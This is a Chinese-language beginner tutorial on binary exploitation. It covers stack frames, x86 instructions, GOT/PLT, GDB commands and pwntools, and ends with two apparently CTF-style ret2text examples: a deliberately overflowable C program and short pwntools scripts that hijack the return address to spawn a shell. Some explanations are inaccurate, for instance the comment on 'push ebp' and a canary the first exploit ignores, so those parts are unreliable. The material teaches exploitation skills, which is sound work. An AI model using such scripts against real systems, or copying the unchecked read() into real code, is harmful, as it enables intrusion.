PWN基础知识

0x 01 栈帧的概念

从逻辑上讲,栈帧就是一个函数执行的环境:函数调用框架、函数参数、函数的局部变量、函数执行完后返回到哪里等等。栈是从高地址向低地址延伸的。每个函数的每次调用,都有它自己独立的一个栈帧,这个栈帧中维持着所需要的各种信息。

寄存器ebp指向当前的栈帧的底部(高地址),寄存器esp指向当前的栈帧的顶部(低地址)。

img

注意:ebp指向当前位于系统栈最上边一个栈帧的底部,而不是系统栈的底部。严格说来,“栈帧底部”和“栈底”是不同的概念;ESP所指的栈帧顶部和系统栈的顶部是同一个位置。**

参考链接:函数的调用过程(栈帧)

0x 02 相关汇编指令

关于dword ptr 指令

1
2
3
4
dword   双字 就是四个字节
ptr pointer缩写 即指针
[]里的数据是一个地址值,这个地址指向一个双字型数据
比如mov eax, dword ptr [12345678] 把内存地址12345678中的双字型(32位)数据赋给eax

关于CALL,RET和LEAVE指令

1
2
3
4
5
6
7
8
9
CALL指令的步骤:首先是将返回地址(也就是call指令要执行时EIP的值)压入栈顶,然后是将程序跳转到当前调用的方法的起始地址。执行push和jump指令。

RET指令则是将栈顶的返回地址弹出到EIP,然后按照EIP此时指示的指令地址继续执行程序。

LEAVE指令是将栈指针指向帧指针,然后POP备份的原帧指针到%EBP。(恢复到调用的时候ebp和esp值)

Leave等价于:
movl %ebp %esp
popl %ebp

push ebp //压入返回地址

lea指令 复制内存地址

0x 03 相关寄存器

eip寄存器:用来存储CPU要读取指令的地址,CPU通过EIP寄存器读取即将要执行的指令。

0x 04 GOT表和PLT表

为了更好的用户体验和内存C*PU的利用率,程序编译时会采用两种表进行辅助,一个为PLT表,一个为GOT表,PLT表可以称为内部函数表,GOT表为全局函数表(也可以说是动态函数表这是个人自称),这两个表是相对应的,什么叫做相对应呢,PLT表中的数据就是GO*T表中的一个地址,可以理解为一定是一一对应的,如下图:

img

0x 05 64位汇编参数传递

img

1
2
3
4
5
6
7
8
9
10
11
当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。

参数个数大于 7 个的时候
H(a, b, c, d, e, f, g, h);
a->%rdi, b->%rsi, c->%rdx, d->%rcx, e->%r8, f->%r9
h->8(%esp)
g->(%esp)
call H

write函数需要三个参数,需要rdi,rsi,rdx三个寄存器
http://abcdxyzk.github.io/blog/2012/11/23/assembly-args/

0x 06 内存对齐

image-20200119204051236

  • 作用:减少CPU访问内存的次数
  • 原因:

1.平台原因(移植原因):不是所有的硬件平台都能访问任意地址上的任意数据的;某些硬件平台只能在某些地址处取某些特定类型的数据,否则抛出硬件异常。
2.性能原因:数据结构(尤其是栈)应该尽可能地在自然边界上对齐。原因在于,为了访问未对齐的内存,处理器需要作两次内存访问;而对齐的内存访问仅需要一次访问。
参考资料: 【底层原理】C/C++内存对齐详解

0x 07 GDB调试命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
(gdb)help:查看命令帮助,具体命令查询在gdb中输入help + 命令,简写h

(gdb)run:重新开始运行文件(run-text:加载文本文件,run-bin:加载二进制文件),简写r

(gdb)start:单步执行,运行程序,停在第一执行语句

(gdb)list:查看原代码(list-n,从第n行开始查看代码。list+ 函数名:查看具体函数),简写l

(gdb)set:设置变量的值

(gdb)next:单步调试(逐过程,函数直接执行),简写n

(gdb)step:单步调试(逐语句:跳入自定义函数内部执行),简写s

(gdb)backtrace:查看函数的调用的栈帧和层级关系,简写bt

(gdb)frame:切换函数的栈帧,简写f

(gdb)info:查看函数内部局部变量的数值,简写i

(gdb)finish:结束当前函数,返回到函数调用点

(gdb)continue:继续运行,简写c

(gdb)print:打印值及地址,简写p

(gdb)quit:退出gdb,简写q

(gdb)break+num:在第num行设置断点,简写b

(gdb)info breakpoints:查看当前设置的所有断点

(gdb)delete breakpoints num:删除第num个断点,简写d

(gdb)display:追踪查看具体变量值

(gdb)undisplay:取消追踪观察变量

(gdb)watch:被设置观察点的变量发生修改时,打印显示

(gdb)i watch:显示观察点

(gdb)enable breakpoints:启用断点

(gdb)disable breakpoints:禁用断点

(gdb)x:查看指定内存地址内容 x/20xw 显示20个单元,16进制,4字节每单元
https://www.cnblogs.com/redman274/p/12164753.html
如果地址所指的是字符串,那么格式可以是s,如果地址是指令地址,那么格式可以是i

(gdb)run argv[1] argv[2]:调试时命令行传参

(gdb)set follow-fork-mode child#Makefile项目管理:选择跟踪父子进程(fork())

gdb 中step next 与finish的区别
step 就是单步执行,遇到子函数就进入并且继续单步执行;在其他调试其中相当于step-into命令,作用是移动到下一个可执行的代码行。如果当前行是一个函数调用,则调试器进入函数并停止在函数体的第一行。step可以帮助初步揭开代码位置的谜团,例如:函数调用和函数本身可能在不同的文件中。


next 是在单步执行时,在函数内遇到子函数时不会进入子函数内单步执行,而是将子函数整个执行完再停止,也就是把子函数整个作为一步。在其他调试器中相当于step-over,作用是在同一个调用栈层中移动到下一个可执行的代码行。调试器不会进入函数体。如果当前行是函数的最后一行,则,next将进入下一个栈层,并在调用函数的下一行停止。


finish就是但单步执行到子函数内时,用step out就可以执行完子函数余下部分,并返回到上一层函数。在其他调试器中相当于step-out,作用是在栈中前进到到下一层,并在调用函数的下一行停止。

0x 08 cyclic工具

使用pwntools里面的cyclic工具生成字符串和计算偏移

1
2
3
4
5
root@hw-virtual-machine:/home/hw/桌面/PWN# cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

root@hw-virtual-machine:/home/hw/桌面/PWN# cyclic -l 0x62616164
112

0x 09 简单实例

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<stdio.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0, str, 0x50);
}
int main()
{
func();
return 0;
}

func函数汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Dump of assembler code for function func:
0x080484b4 <+0>: push ebp
0x080484b5 <+1>: mov ebp,esp
0x080484b7 <+3>: sub esp,0x38
0x080484ba <+6>: mov eax,gs:0x14
0x080484c0 <+12>: mov DWORD PTR [ebp-0xc],eax
0x080484c3 <+15>: xor eax,eax
0x080484c5 <+17>: sub esp,0x4
0x080484c8 <+20>: push 0x50 //压入read函数的第三个参数
0x080484ca <+22>: lea eax,[ebp-0x2c]
0x080484cd <+25>: push eax //压入read函数的第二个参数
0x080484ce <+26>: push 0x0 //压入read函数的第一个参数
0x080484d0 <+28>: call 0x8048350 <read@plt> //调用plt表的
0x080484d5 <+33>: add esp,0x10
0x080484d8 <+36>: nop
0x080484d9 <+37>: mov eax,DWORD PTR [ebp-0xc]
0x080484dc <+40>: xor eax,DWORD PTR gs:0x14
0x080484e3 <+47>: je 0x80484ea <func+54>
0x080484e5 <+49>: call 0x8048360 <__stack_chk_fail@plt>
0x080484ea <+54>: leave
0x080484eb <+55>: ret
End of assembler dump.

exp:

1
2
3
4
5
6
7
8
from pwn import *
context.log_level = 'debug'
p = process("./pwn1")

offset = 0x2c + 0x4
payload = 'a'*offset + p32(0x0804849b)
p.sendline(payload)
p.interactive()

实例二:

汇编代码:

main函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x000000000040078c <+145>:	lea    rax,[rbp-0x4]
0x0000000000400790 <+149>: mov rsi,rax
0x0000000000400793 <+152>: mov edi,0x400961
0x0000000000400798 <+157>: mov eax,0x0
0x000000000040079d <+162>: call 0x4005d0 <__isoc99_scanf@plt>
0x00000000004007a2 <+167>: mov edi,0x400964
0x00000000004007a7 <+172>: call 0x400580 <puts@plt>
0x00000000004007ac <+177>: mov edx,DWORD PTR [rbp-0x4] //传入第三个参数值给edx
0x00000000004007af <+180>: lea rax,[rbp-0x10]
0x00000000004007b3 <+184>: mov rsi,rax //传入第二个参数值给rsi
0x00000000004007b6 <+187>: mov edi,0x0 //传入第一个参数值给edi
0x00000000004007bb <+192>: mov eax,0x0
0x00000000004007c0 <+197>: call 0x4005a0 <read@plt>
0x00000000004007c5 <+202>: mov eax,0x0
0x00000000004007ca <+207>: leave
0x00000000004007cb <+208>: ret

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
import sys
context.log_level='debug'

if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
else:
sh = process("./ret2text")

sh.sendlineafter("name:\n",str(50))

payload="a"*0x18 + p64(0x0000000004006E6)

sh.recvuntil("name?\n")
sh.sendline(payload)
sh.interactive()
print(sh.recv())